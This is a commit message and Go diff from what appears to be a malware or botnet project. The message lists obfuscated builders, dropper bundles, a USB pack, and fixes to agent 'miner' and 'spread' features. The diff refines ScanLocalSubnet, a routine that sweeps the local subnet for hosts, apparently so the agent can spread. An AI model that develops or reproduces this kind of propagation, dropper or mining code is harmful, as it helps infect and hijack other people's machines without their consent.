fix: 2026-06-04 audit pass — README, USB pack, multi-area fixes

WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.

agent/deploy/natpunch.go

@@ -299,13 +299,19 @@ func ScanLocalSubnet(maxHosts int) string {
 	var b strings.Builder
 	seen := 0
 	for _, ip := range ips {
+		if !isIPv4(ip) {
+			continue
+		}
 		subnet := getSubnet(ip)
 		if subnet == "" {
 			continue
 		}
 		b.WriteString(fmt.Sprintf("Scanning %s.0/24 from %s\n", subnet, ip))
 		for i := 1; i < 255 && seen < maxHosts; i++ {
-			target := fmt.Sprintf("%s.%d", subnet, i)
+			target, ok := ipv4SweepHost(subnet, i)
+			if !ok {
+				break
+			}
 			if target == ip {
 				continue
 			}